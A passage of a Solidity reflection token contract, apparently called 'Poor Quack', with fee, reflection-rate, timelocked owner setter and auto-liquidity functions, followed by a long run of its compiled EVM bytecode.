uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee = tAmount.mul(_totalBuyTax).div(100); //buy - 10% tax is taken or whatever _totalTax is if (!_isBuy(msg.sender)) { tFee = tAmount.mul(_totalSellTax).div(100); //sell - 12% tax is taken or whatever _totalTax is } uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _setMarketingWallet(address payable wallet) public onlyOwner() notLocked(Functions.SETMARK) { _wMarketing = wallet; timelock[Functions.SETMARK] = 0; emit setMarketingWallet(wallet); } function _setMaxHold(uint256 maxHoldAmount) external onlyOwner() notLocked(Functions.MAXHOLD) { require(maxHoldAmount >= 2000000000000000000000000000000, "Max hold amount is below threshold"); _maxHoldAmount = maxHoldAmount; timelock[Functions.MAXHOLD] = 0; emit setMaxHold(maxHoldAmount); } function _setMaxTrans(uint256 maxTransAmount) external onlyOwner() notLocked(Functions.MAXTX) { require(maxTransAmount >= 1200000000000000000000000000000, "Max TX amount is below threshold"); _maxTransAmount = maxTransAmount; timelock[Functions.MAXTX] = 0; emit setMaxTrans(maxTransAmount); } function _setTotalBuyTax(uint256 totalBuyTax) external onlyOwner() notLocked(Functions.BUYTAX) { require(totalBuyTax <= _maxBuyTax, "Buy tax too high"); _currentBuyTax = totalBuyTax; _totalBuyTax = totalBuyTax; timelock[Functions.BUYTAX] = 0; emit setTotalBuyTax(totalBuyTax); } function _setTotalSellTax(uint256 totalSellTax) external onlyOwner() notLocked(Functions.SELLTAX) { require(totalSellTax <= _maxSellTax, "Sell tax too high"); _currentSellTax = totalSellTax; _totalSellTax = totalSellTax; timelock[Functions.SELLTAX] = 0; emit setTotalSellTax(totalSellTax); } function _setRefPer(uint256 refPer) external onlyOwner() notLocked(Functions.REF) { _refPer = refPer; timelock[Functions.REF] = 0; emit setRefPer(refPer); } function _setAutoLiqPer(uint256 autoLiqPer) external onlyOwner() notLocked(Functions.AUTOLIQPER) { _autoLiqPer = autoLiqPer; timelock[Functions.AUTOLIQPER] = 0; emit setAutoLiqPer(autoLiqPer); } function _setMinTokensForLiquidity(uint256 minTokensForLiquidity) external onlyOwner() notLocked(Functions.MINLIQ) { _minTokensForLiquidity = minTokensForLiquidity; timelock[Functions.MINLIQ] = 0; emit setMinTokensForLiquidity(minTokensForLiquidity); } function _setLockLiquiditiesEnabled(bool lockLiquiditiesEnabled) external onlyOwner() notLocked(Functions.LIQENABLED) { _lockLiquiditiesEnabled = lockLiquiditiesEnabled; timelock[Functions.LIQENABLED] = 0; emit setLockLiquiditiesEnabled(lockLiquiditiesEnabled); } function _setAutoTaxEnabled(bool AutoTaxEnabled) external onlyOwner() notLocked(Functions.AUTOTAXENABLED) { _AutoTaxEnabled = AutoTaxEnabled; timelock[Functions.AUTOTAXENABLED] = 0; emit setAutoTaxEnabled(AutoTaxEnabled); } function _doTokenomics() public lockLiquidities { uint256 amount = balanceOf(address(this)); if(amount >= _minTokensForLiquidity && _lockLiquiditiesEnabled == true && amount > 0) { if(amount >= _maxTransAmount) { amount = _maxTransAmount; } uint256 liqAmount = _findPercent(amount, _autoLiqPer); uint256 marketingAmount = amount.sub(liqAmount); _doLiquidity(liqAmount, marketingAmount); _doMarketing(); } } function _doLiquidity(uint256 liqTokensAmount, uint256 marketingTokensAmount) private { _liqAllTime += liqTokensAmount; uint256 bnbHalf = liqTokensAmount.div(2); uint256 tokenHalf = liqTokensAmount.sub(bnbHalf); uint256 bnbBalance = address(this).balance; //current bnb balance _swapTokensForEth(bnbHalf + marketingTokensAmount, address(this)); //swap liquidity and marketing to ETH in one TX to save gas uint256 bnbNewBalance = address(this).balance.sub(bnbBalance); //get amount swapped to bnb _addLiquidity(tokenHalf, bnbNewBalance); //add liquidity using the tokens and bnb, ETH dust will be sent back for marketing wallet } function _doMarketing() private { uint256 bnbBalance = address(this).balance; //current bnb balance Address.sendValue(_wMarketing, bnbBalance); //send bnb amount to governance _marketingAllTime += bnbBalance; } function _findPercent(uint256 value, uint256 basePercent) private pure returns (uint256) { uint256 percent = value.mul(basePercent).div(10000); return percent; } function _swapTokensForEth(uint256 tokenAmount, address tokenContract) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = tokenContract; path[1] = uniswapV2Router.WETH(); _approve(tokenContract, address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, tokenContract, block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function _setRouterAddress(address newRouter) public onlyOwner() notLocked(Functions.SETROUT) { IUniswapV2Router02 _newPancakeRouter = IUniswapV2Router02(newRouter); uniswapV2Pair = IUniswapV2Factory(_newPancakeRouter.factory()).createPair(address(this), _newPancakeRouter.WETH()); uniswapV2Router = _newPancakeRouter; timelock[Functions.SETROUT] = 0; emit setRouterAddressChanged(newRouter); } function _setWhitelistedAddresses(address[] memory whitelist) public onlyOwner { for (uint i = 0; i < whitelist.length; i++) { _whitelistedUsers[whitelist[i]] = true; } emit setWhitelistedUsers(whitelist.length); } function _renounceWhiteList() external onlyOwner { require(_whitelist_enabled == true, "Whitelist already renounced"); _whitelist_enabled = false; } function _isWhitelisted(address user) public view returns (bool) { return _whitelistedUsers[user]; } //unlock timelock function _unlockFunction(Functions _fn) public onlyOwner { timelock[_fn] = block.timestamp + _TIMELOCK; } //lock timelock function _lockFunction(Functions _fn) public onlyOwner { timelock[_fn] = 0; } event setRouterAddressChanged(address newRouter); event setAutoTaxEnabled(bool AutoTaxEnabled); event setLockLiquiditiesEnabled(bool lockLiquiditiesEnabled); event setMinTokensForLiquidity(uint256 minTokensForLiquidity); event setAutoLiqPer(uint256 autoLiqPer); event setRefPer(uint256 refPer); event setTotalSellTax(uint256 totalSellTax); event setTotalBuyTax(uint256 totalBuyTax); event setMaxTrans(uint256 maxTransAmount); event setMaxHold(uint256 maxHoldAmount); event setMarketingWallet(address wallet); event setWhitelistedUsers(uint256 amount); }
0x6080604052600436106103c75760003560e01c806370a08231116101f2578063c17bae2a1161010d578063dd62ed3e116100a0578063f15f063d1161006f578063f15f063d14610d4d578063f2cc0c1814610d62578063f2fde38b14610d95578063f84354f114610dc8576103ce565b8063dd62ed3e14610ca0578063ddafef4b14610cdb578063e4ba3bc814610d05578063f02125e714610d38576103ce565b8063d1359b66116100dc578063d1359b6614610c4c578063d35a419014610c61578063d4af7feb14610c76578063dad243d714610c8b576103ce565b8063c17bae2a14610bad578063c764020714610bda578063cba0e99614610bef578063cdbf9e6814610c22576103ce565b8063a9059cbb11610185578063b8d38bd211610154578063b8d38bd214610b2c578063b8ec673514610b56578063bbd8cbf214610b6b578063bfbb169514610b98576103ce565b8063a9059cbb14610a9d578063adc372d514610ad6578063af9226c814610aeb578063b4ed189714610b00576103ce565b806395d89b41116101c157806395d89b4114610a075780639ad2817a14610a1c5780639cee214214610a31578063a457c2d714610a64576103ce565b806370a0823114610995578063715018a6146109c85780637e1a3760146109dd5780638da5cb5b146109f2576103ce565b806330e15787116102e257806349bd5a5e11610275578063540416871161024457806354041687146109175780635c5d27671461092c5780635ca63fe914610956578063621aaa951461096b576103ce565b806349bd5a5e146108c35780634afe1c5d146108d857806351002928146108ed57806352bc348114610902576103ce565b80633eb398d1116102b15780633eb398d1146108235780634549b03914610850578063461fcc751461088257806346d7c16d146108ae576103ce565b806330e1578714610762578063313ce5671461078c57806339509351146107b75780633b7e6d4a146107f0576103ce565b806318160ddd1161035a5780631ff53b60116103295780631ff53b601461069857806323b872dd146106cb578063252617981461070e5780632d83811914610738576103ce565b806318160ddd1461058b5780631e4ed1de146105a05780631fc9efa1146105d35780631fe772ec146105e8576103ce565b80630cfc15f9116103965780630cfc15f9146104fd5780631006e6f21461053057806313114a9d146105455780631694505e1461055a576103ce565b8063013d39c4146103d3578063053ab182146103fa57806306fdde0314610426578063095ea7b3146104b0576103ce565b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610dfb565b60408051918252519081900360200190f35b34801561040657600080fd5b506104246004803603602081101561041d57600080fd5b5035610e01565b005b34801561043257600080fd5b5061043b610ed9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561047557818101518382015260200161045d565b50505050905090810190601f1680156104a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104bc57600080fd5b506104e9600480360360408110156104d357600080fd5b506001600160a01b038135169060200135610efd565b604080519115158252519081900360200190f35b34801561050957600080fd5b506103e86004803603602081101561052057600080fd5b50356001600160a01b0316610f1b565b34801561053c57600080fd5b506103e8610f2d565b34801561055157600080fd5b506103e8610f33565b34801561056657600080fd5b5061056f610f39565b604080516001600160a01b039092168252519081900360200190f35b34801561059757600080fd5b506103e8610f4f565b3480156105ac57600080fd5b50610424600480360360208110156105c357600080fd5b50356001600160a01b0316610f61565b3480156105df57600080fd5b506103e8611278565b3480156105f457600080fd5b506104246004803603602081101561060b57600080fd5b81019060208101813564010000000081111561062657600080fd5b82018360208201111561063857600080fd5b8035906020019184602083028401116401000000008311171561065a57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061127e945050505050565b3480156106a457600080fd5b50610424600480360360208110156106bb57600080fd5b50356001600160a01b0316611365565b3480156106d757600080fd5b506104e9600480360360608110156106ee57600080fd5b506001600160a01b038135811691602081013590911690604001356114fc565b34801561071a57600080fd5b506104246004803603602081101561073157600080fd5b5035611583565b34801561074457600080fd5b506103e86004803603602081101561075b57600080fd5b5035611765565b34801561076e57600080fd5b506104246004803603602081101561078557600080fd5b50356117c7565b34801561079857600080fd5b506107a1611997565b6040805160ff9092168252519081900360200190f35b3480156107c357600080fd5b506104e9600480360360408110156107da57600080fd5b506001600160a01b03813516906020013561199c565b3480156107fc57600080fd5b506103e86004803603602081101561081357600080fd5b50356001600160a01b03166119ea565b34801561082f57600080fd5b506104246004803603602081101561084657600080fd5b503560ff166119fc565b34801561085c57600080fd5b506103e86004803603604081101561087357600080fd5b50803590602001351515611a85565b34801561088e57600080fd5b50610424600480360360208110156108a557600080fd5b50351515611b21565b3480156108ba57600080fd5b50610424611cab565b3480156108cf57600080fd5b5061056f611d75565b3480156108e457600080fd5b506103e8611d84565b3480156108f957600080fd5b506103e8611d8a565b34801561090e57600080fd5b506103e8611d90565b34801561092357600080fd5b506103e8611d96565b34801561093857600080fd5b506104246004803603602081101561094f57600080fd5b5035611d9c565b34801561096257600080fd5b506104e9611f68565b34801561097757600080fd5b506104246004803603602081101561098e57600080fd5b5035611f71565b3480156109a157600080fd5b506103e8600480360360208110156109b857600080fd5b50356001600160a01b03166120f1565b3480156109d457600080fd5b50610424612153565b3480156109e957600080fd5b506103e86121f5565b3480156109fe57600080fd5b5061056f6121fb565b348015610a1357600080fd5b5061043b61220a565b348015610a2857600080fd5b506103e8612228565b348015610a3d57600080fd5b506104e960048036036020811015610a5457600080fd5b50356001600160a01b031661222e565b348015610a7057600080fd5b506104e960048036036040811015610a8757600080fd5b506001600160a01b03813516906020013561224c565b348015610aa957600080fd5b506104e960048036036040811015610ac057600080fd5b506001600160a01b0381351690602001356122b4565b348015610ae257600080fd5b506104e96122c8565b348015610af757600080fd5b506104e96122d8565b348015610b0c57600080fd5b5061042460048036036020811015610b2357600080fd5b503515156122e7565b348015610b3857600080fd5b5061042460048036036020811015610b4f57600080fd5b5035612479565b348015610b6257600080fd5b506103e86125f9565b348015610b7757600080fd5b5061042460048036036020811015610b8e57600080fd5b503560ff166125ff565b348015610ba457600080fd5b506103e861266d565b348015610bb957600080fd5b506103e860048036036020811015610bd057600080fd5b503560ff16612673565b348015610be657600080fd5b506103e8612685565b348015610bfb57600080fd5b506104e960048036036020811015610c1257600080fd5b50356001600160a01b031661268b565b348015610c2e57600080fd5b5061042460048036036020811015610c4557600080fd5b50356126a9565b348015610c5857600080fd5b50610424612876565b348015610c6d57600080fd5b506103e861291a565b348015610c8257600080fd5b5061056f612920565b348015610c9757600080fd5b506103e861292f565b348015610cac57600080fd5b506103e860048036036040811015610cc357600080fd5b506001600160a01b0381358116916020013516612935565b348015610ce757600080fd5b5061042460048036036020811015610cfe57600080fd5b5035612960565b348015610d1157600080fd5b506104e960048036036020811015610d2857600080fd5b50356001600160a01b0316612ae0565b348015610d4457600080fd5b506103e8612af5565b348015610d5957600080fd5b506104e9612afb565b348015610d6e57600080fd5b5061042460048036036020811015610d8557600080fd5b50356001600160a01b0316612b09565b348015610da157600080fd5b5061042460048036036020811015610db857600080fd5b50356001600160a01b0316612d6c565b348015610dd457600080fd5b5061042460048036036020811015610deb57600080fd5b50356001600160a01b0316612e64565b600f5481565b6000610e0b61312d565b6001600160a01b03811660009081526005602052604090205490915060ff1615610e665760405162461bcd60e51b815260040180806020018281038252602c81526020018061450d602c913960400191505060405180910390fd5b6000610e7183613131565b505050506001600160a01b038316600090815260026020526040902054909150610e9b908261317d565b6001600160a01b038316600090815260026020526040902055600754610ec1908261317d565b600755600854610ed190846131c6565b600855505050565b60408051808201909152600a815269506f6f7220517561636b60b01b602082015290565b6000610f11610f0a61312d565b8484613220565b5060015b92915050565b60026020526000908152604090205481565b600e5481565b60085490565b601b54600160281b90046001600160a01b031681565b6d04ee2d6d415b85acef810000000090565b610f6961312d565b6000546001600160a01b03908116911614610fb9576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b54600d9062010000900460ff1615806110325750601d600082600d811115610fdf57fe5b600d811115610fea57fe5b815260200190815260200160002054600014158015611032575042601d600083600d81111561101557fe5b600d81111561102057fe5b81526020019081526020016000205411155b611071576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156110af57600080fd5b505afa1580156110c3573d6000803e3d6000fd5b505050506040513d60208110156110d957600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b15801561112957600080fd5b505afa15801561113d573d6000803e3d6000fd5b505050506040513d602081101561115357600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156111a557600080fd5b505af11580156111b9573d6000803e3d6000fd5b505050506040513d60208110156111cf57600080fd5b5051601c80546001600160a01b0319166001600160a01b03928316179055601b805465010000000000600160c81b031916600160281b84841602179055600d6000908152601d60209081527f2b21671d5a1fbf01c4c228cb805d217bac4d4eab4a7d93850b486802779d8eeb91909155604080519286168352517f7bcb112703b2af16d5f6b17d53aab10384b7f1ce8bad5a1a53cf3802154844999281900390910190a1505050565b60185481565b61128661312d565b6000546001600160a01b039081169116146112d6576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b60005b815181101561132d5760018060008484815181106112f357fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016112d9565b50805160408051918252517f2414ba744f2fdb3b45cd74945f9dcf730af310819f329c9c3e37c1435c72db0b9181900360200190a150565b61136d61312d565b6000546001600160a01b039081169116146113bd576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b5460029062010000900460ff1615806114365750601d600082600d8111156113e357fe5b600d8111156113ee57fe5b815260200190815260200160002054600014158015611436575042601d600083600d81111561141957fe5b600d81111561142457fe5b81526020019081526020016000205411155b611475576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b03841690811790915560026000908152601d60209081527f64f63e8728b8a1c8ce5fe5058430331934c8d0c3d8a2f2793f19836c1447addb9190915560408051928352517f5d098b3808855653ba84801d214aced64f89329b9a0b3b3f7368dc87dda7d88c9281900390910190a15050565b600061150984848461330c565b6115798461151561312d565b61157485604051806060016040528060288152602001614428602891396001600160a01b038a1660009081526004602052604081209061155361312d565b6001600160a01b0316815260208101919091526040016000205491906136e1565b613220565b5060019392505050565b61158b61312d565b6000546001600160a01b039081169116146115db576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b5460079062010000900460ff1615806116545750601d600082600d81111561160157fe5b600d81111561160c57fe5b815260200190815260200160002054600014158015611654575042601d600083600d81111561163757fe5b600d81111561164257fe5b81526020019081526020016000205411155b611693576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b6c0f2568bc2d21591d7f800000008210156116f5576040805162461bcd60e51b815260206004820181905260248201527f4d617820545820616d6f756e742069732062656c6f77207468726573686f6c64604482015290519081900360640190fd5b601982905560076000908152601d60209081527f0b2bb571a71764032d04342d0eb422bc5d6eeb3c436078b13e30f0762c04c504919091556040805184815290517f4ee2437b7ac40ba340543a2a8c7f94d456a4a9b850e3db966b2818ce94c3407b929181900390910190a15050565b60006007548211156117a85760405162461bcd60e51b815260040180806020018281038252602a81526020018061430e602a913960400191505060405180910390fd5b60006117b2613778565b90506117be838261379b565b9150505b919050565b6117cf61312d565b6000546001600160a01b0390811691161461181f576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b5460019062010000900460ff1615806118985750601d600082600d81111561184557fe5b600d81111561185057fe5b815260200190815260200160002054600014158015611898575042601d600083600d81111561187b57fe5b600d81111561188657fe5b81526020019081526020016000205411155b6118d7576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b600e54821115611922576040805162461bcd60e51b81526020600482015260116024820152700a6cad8d840e8c2f040e8dede40d0d2ced607b1b604482015290519081900360640190fd5b600f829055601082905560016000908152601d60209081527f9de6abd965d55c3bb0cdbf6fa175050624c6ff8fe86f682dc08f2a450ede2278919091556040805184815290517fc50c8a75502ed870fa3820991fbb71cf10059b6e3e506ca26167232babca0dae929181900390910190a15050565b601290565b6000610f116119a961312d565b8461157485600460006119ba61312d565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906131c6565b60036020526000908152604090205481565b611a0461312d565b6000546001600160a01b03908116911614611a54576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b6000601d600083600d811115611a6657fe5b600d811115611a7157fe5b815260208101919091526040016000205550565b60006d04ee2d6d415b85acef8100000000831115611aea576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b81611b08576000611afa84613131565b50929450610f159350505050565b6000611b1384613131565b50919450610f159350505050565b611b2961312d565b6000546001600160a01b03908116911614611b79576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b5460089062010000900460ff161580611bf25750601d600082600d811115611b9f57fe5b600d811115611baa57fe5b815260200190815260200160002054600014158015611bf2575042601d600083600d811115611bd557fe5b600d811115611be057fe5b81526020019081526020016000205411155b611c31576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b601b805460ff191683151590811790915560086000908152601d60209081527fb5db4bfb4bd08fc2302d401f3aa912a9cfeb5df4f76d837d12a13cfe7f2c1fdc9190915560408051928352517f64d1966fd0c3a55956ed6aeabd92d60229448d7e23db0aa12addd766c5d1ac6f9281900390910190a15050565b611cb361312d565b6000546001600160a01b03908116911614611d03576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b546301000000900460ff161515600114611d66576040805162461bcd60e51b815260206004820152601b60248201527f57686974656c69737420616c72656164792072656e6f756e6365640000000000604482015290519081900360640190fd5b601b805463ff00000019169055565b601c546001600160a01b031681565b60195481565b60145481565b600a5481565b60125481565b611da461312d565b6000546001600160a01b03908116911614611df4576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b5460069062010000900460ff161580611e6d5750601d600082600d811115611e1a57fe5b600d811115611e2557fe5b815260200190815260200160002054600014158015611e6d575042601d600083600d811115611e5057fe5b600d811115611e5b57fe5b81526020019081526020016000205411155b611eac576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b6c193e5939a08ce9dbd480000000821015611ef85760405162461bcd60e51b81526004018080602001828103825260228152602001806142ec6022913960400191505060405180910390fd5b601882905560066000908152601d60209081527fe05f340630215c2ef0683a72fde801183a1a4ecac14ded57e11c794e9bcb2069919091556040805184815290517fa0aaaf76bb82f6d872391747525c1c5e2666a10e4973e4baabc95171af46a468929181900390910190a15050565b601b5460ff1681565b611f7961312d565b6000546001600160a01b03908116911614611fc9576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b5460039062010000900460ff1615806120425750601d600082600d811115611fef57fe5b600d811115611ffa57fe5b815260200190815260200160002054600014158015612042575042601d600083600d81111561202557fe5b600d81111561203057fe5b81526020019081526020016000205411155b612081576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b601282905560036000908152601d60209081527f628971151cb24dee737f6abea9bff35ce226e4c8f5760305d49b372572839090919091556040805184815290517fe908140c123eb61f3e5036ebca1ad9a0d17e986582d5e845cc0ac3b7ce4a17bf929181900390910190a15050565b6001600160a01b03811660009081526005602052604081205460ff161561213157506001600160a01b0381166000908152600360205260409020546117c2565b6001600160a01b038216600090815260026020526040902054610f1590611765565b61215b61312d565b6000546001600160a01b039081169116146121ab576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60155481565b6000546001600160a01b031690565b6040805180820190915260048152632827a7a960e11b602082015290565b600c5481565b6001600160a01b031660009081526001602052604090205460ff1690565b6000610f1161225961312d565b8461157485604051806060016040528060258152602001614539602591396004600061228361312d565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906136e1565b6000610f116122c161312d565b848461330c565b601b546301000000900460ff1681565b601b5462010000900460ff1681565b6122ef61312d565b6000546001600160a01b0390811691161461233f576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b5460099062010000900460ff1615806123b85750601d600082600d81111561236557fe5b600d81111561237057fe5b8152602001908152602001600020546000141580156123b8575042601d600083600d81111561239b57fe5b600d8111156123a657fe5b81526020019081526020016000205411155b6123f7576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b601b805461ff0019166101008415159081029190911790915560096000908152601d60209081527fa0b0e2ce393b3cb020be6594ea5b4ae50c04441acc1180b842c6a8cafc063ccc9190915560408051928352517fc880c1a4f6991515b18dda9ebca689c123f5cab0892b1993f85d507f8a1820ea9281900390910190a15050565b61248161312d565b6000546001600160a01b039081169116146124d1576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b5460059062010000900460ff16158061254a5750601d600082600d8111156124f757fe5b600d81111561250257fe5b81526020019081526020016000205460001415801561254a575042601d600083600d81111561252d57fe5b600d81111561253857fe5b81526020019081526020016000205411155b612589576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b601a82905560056000908152601d60209081527fd19a5fe801b7c1f3d54e7cd62d56e46f02f2ab5a22ee5edcfdddda6c80cf4c11919091556040805184815290517fdaaa9c4e899c8e5220e563196f8f58fe5ff61082c2fd64a0cbe6bd8624fa2b0c929181900390910190a15050565b600b5481565b61260761312d565b6000546001600160a01b03908116911614612657576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b6202a3004201601d600083600d811115611a6657fe5b60175481565b601d6020526000908152604090205481565b60165481565b6001600160a01b031660009081526005602052604090205460ff1690565b6126b161312d565b6000546001600160a01b03908116911614612701576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b5460009062010000900460ff16158061277a5750601d600082600d81111561272757fe5b600d81111561273257fe5b81526020019081526020016000205460001415801561277a575042601d600083600d81111561275d57fe5b600d81111561276857fe5b81526020019081526020016000205411155b6127b9576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b600a54821115612803576040805162461bcd60e51b815260206004820152601060248201526f084eaf240e8c2f040e8dede40d0d2ced60831b604482015290519081900360640190fd5b600b829055600c8290556000808052601d60209081527f0a51588b1664495f089dd83d2d26f247920f94a57a4a09f20cf068efc8f82bd4919091556040805184815290517fe21733a17efcc7750caa2d769f35ba08ebb5328545fc2de34407d3e51220948e929181900390910190a15050565b601b805464ff0000000019166401000000001790556000612896306120f1565b9050601a5481101580156128b75750601b5460ff6101009091041615156001145b80156128c35750600081115b156129095760195481106128d657506019545b60006128e4826013546137dd565b905060006128f2838361317d565b90506128fe82826137fe565b612906613850565b50505b50601b805464ff0000000019169055565b60105481565b6009546001600160a01b031681565b601a5481565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61296861312d565b6000546001600160a01b039081169116146129b8576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b5460049062010000900460ff161580612a315750601d600082600d8111156129de57fe5b600d8111156129e957fe5b815260200190815260200160002054600014158015612a31575042601d600083600d811115612a1457fe5b600d811115612a1f57fe5b81526020019081526020016000205411155b612a70576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b601382905560046000908152601d60209081527fd33c65680209da0447188026adeb57acbe6c3d3a2b5b9c4ecef4d7a917168fd7919091556040805184815290517fc5ffd69c739dd0009f2945861a7f144cf03924109c28bac0a68129d1cd211a18929181900390910190a15050565b60016020526000908152604090205460ff1681565b60135481565b601b54610100900460ff1681565b612b1161312d565b6000546001600160a01b03908116911614612b61576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b54600a9062010000900460ff161580612bda5750601d600082600d811115612b8757fe5b600d811115612b9257fe5b815260200190815260200160002054600014158015612bda575042601d600083600d811115612bbd57fe5b600d811115612bc857fe5b81526020019081526020016000205411155b612c19576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090205460ff1615612c87576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526002602052604090205415612ce1576001600160a01b038216600090815260026020526040902054612cc790611765565b6001600160a01b0383166000908152600360205260409020555b6001600160a01b0382166000818152600560205260408120805460ff1916600190811790915560068054918201815582527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b031916909217909155601d81600a5b600d811115612d5757fe5b81526020810191909152604001600020555050565b612d7461312d565b6000546001600160a01b03908116911614612dc4576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b6001600160a01b038116612e095760405162461bcd60e51b81526004018080602001828103825260268152602001806143386026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b612e6c61312d565b6000546001600160a01b03908116911614612ebc576040805162461bcd60e51b81526020600482018190526024820152600080516020614450833981519152604482015290519081900360640190fd5b601b54600b9062010000900460ff161580612f355750601d600082600d811115612ee257fe5b600d811115612eed57fe5b815260200190815260200160002054600014158015612f35575042601d600083600d811115612f1857fe5b600d811115612f2357fe5b81526020019081526020016000205411155b612f74576040805162461bcd60e51b815260206004820152601660248201526000805160206143e7833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090205460ff16612fe1576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c726561647920696e636c756465640000000000604482015290519081900360640190fd5b60005b60065481101561312057826001600160a01b03166006828154811061300557fe5b6000918252602090912001546001600160a01b031614156131185760068054600019810190811061303257fe5b600091825260209091200154600680546001600160a01b03909216918390811061305857fe5b6000918252602082200180546001600160a01b0319166001600160a01b039390931692909217909155613089613778565b6001600160a01b0385166000908152600360205260409020549091506130af9082613873565b6001600160a01b038516600090815260026020908152604080832093909355600381528282208290556005905220805460ff1916905560068054806130f057fe5b600082815260209020810160001990810180546001600160a01b031916905501905550613120565b600101612fe4565